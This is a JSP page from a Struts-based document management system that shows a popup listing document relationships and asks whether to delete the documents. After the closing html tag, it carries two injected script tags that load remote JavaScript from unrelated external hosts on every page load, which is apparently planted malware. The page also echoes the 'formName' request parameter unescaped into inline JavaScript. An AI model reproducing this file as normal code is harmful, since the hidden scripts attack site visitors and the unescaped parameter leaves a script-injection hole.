<%@ page language="java" contentType="text/html; charset=utf-8" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
  String formName = (request.getParameter("formName")!=null ? request.getParameter("formName") : "");
%>
<html>
<head>
<title><%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script> 
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp?dummy=<%=Utility.getCurrentTimestamp().getTime()%>" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" type="text/javascript">
  function doDeleteAction(isIgnore) {
    try {
      var opr = window.opener;
      if (opr) {
        <% if (formName.equals("")) { %>
          opr.OpCustListDelete(null, true, isIgnore);
        <% }else {%>
          opr.document.<%=formName%>.ignoreDeleteShortcut.value = (isIgnore ? "true" : "false");
          opr.OpListDelete(opr.document.<%=formName%>);
        <%}%>
      }
    }catch(e) {
      
    }
    window.close();
  }
</script>
</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000">
<html:form action="dms/RelationshipWarning" onsubmit="return(false);">
<!-- Search Title -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>">
  <tr>
    <td colspan="2">
      <nobr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b><bean:message key='dms.label.relationship_warning'/></b></nobr>
      <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font class="bodyVerySmall"><bean:message key="dms.label.following_relationship"/>:&nbsp;<bean:message key="dms.label.warning_content"/></font>
    </td>
  </tr>
</table>

<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
  <tr>
    <td><layout:sectionHeader name="dms.label.related_doc_list" mandatory="false"/></td>
  </tr>
  <tr>
    <td>
      <table class="mainTable" width="100%" cellpadding="3" cellspacing="1" border="0">
        <!-- Table Column Header Begin -->
        <tr class="columnHead">
          <td color="#000000" background-color="#DDDDDD" font-size="9pt" text-align="left"><bean:message key="dms.label.name_D"/></td>
          <td color="#000000" background-color="#DDDDDD" font-size="9pt" text-align="left"><bean:message key="dms.columnheader.location"/></td>
          <td color="#000000" background-color="#DDDDDD" font-size="9pt" text-align="left"><bean:message key="dms.columnheader.relationshipType"/></td>
          <td color="#000000" background-color="#DDDDDD" font-size="9pt" text-align="left"><bean:message key="dms.columnheader.related_doc_name"/></td>
          <td color="#000000" background-color="#DDDDDD" font-size="9pt" text-align="left"><bean:message key="dms.columnheader.location"/></td>
        </tr>
        <!-- Table Column Header End -->
        <%
          Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
          DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
          PermissionManager permissionManager = sessionContainer.getPermissionManager();
        %>
        <logic:iterate id="mtmRelationship" name="RelationshipWarningList" scope="request" indexId="listLoopCnt" type="com.dcivision.dms.bean.MtmDocumentRelationship">
          <%
            Integer docID = mtmRelationship.getDocumentID();
            Integer relatedDocID = mtmRelationship.getRelatedDocumentID();
            DmsDocument document = docRetrievalManager.getDocument(docID);
            String permission = permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, docID);
            DmsDocument documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(document.getRootID());
            DmsDocument relatedDocument = docRetrievalManager.getDocument(relatedDocID);
            String relatedDermission = permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, relatedDocID);
            DmsDocument relatedDocumentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(relatedDocument.getRootID());
            String relatedLocation = docRetrievalManager.getLocationPath(relatedDocID);
          %>
          <tr id="tr<%=mtmRelationship.getID()%>" onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=mtmRelationship.getID()%>);">
            <td nowrap="true">
              <dms:documentInfo docObject='<%=document%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>'/>
            </td>
            <td nowrap="true">
              <dms:locationPath parentID="<%=document.getParentID()%>" rootID="<%=document.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag'/>
            </td>
            <td class="bodyVerySmall" nowrap>
              <html:img src='IconDMSRelationshipPassive.gif'  align='absmiddle'/>
              -
              <html:select property="relationshipType" value="<%=mtmRelationship.getRelationshipType()%>" textOnly='true'>
                <html:options dbListName='dmsDocumentRelationshipList'/>
              </html:select>
            </td>
            <td nowrap="true">
              <dms:documentInfo docObject='<%=relatedDocument%>' permission='<%=relatedDermission%>' rootDocument='<%=relatedDocumentRoot%>'/>
            </td>
            <td nowrap="true">
              <dms:locationPath parentID="<%=relatedDocument.getParentID()%>" rootID="<%=relatedDocument.getRootID()%>" permission='<%=relatedDermission%>' rootDocument='<%=relatedDocumentRoot%>' indexFlag='showIndexFlag'/>
            </td>
          </tr>
        </logic:iterate>
      </table>
    </td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>
      <P>&nbsp;<bean:message key="dms.label.do_you_want_to"/> <bean:message key="dms.label.delete"/> <bean:message key="dms.label.these_document"/>?<br>
      <html:standardButton label="common.label.yes" onClick="return doDeleteAction(false);"/>
      <html:standardButton label="common.label.no" onClick="return doDeleteAction(true);"/>
      </P>
    </td>
  </tr>
</table>
</td></tr></table>
</html:form>
</body>

</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>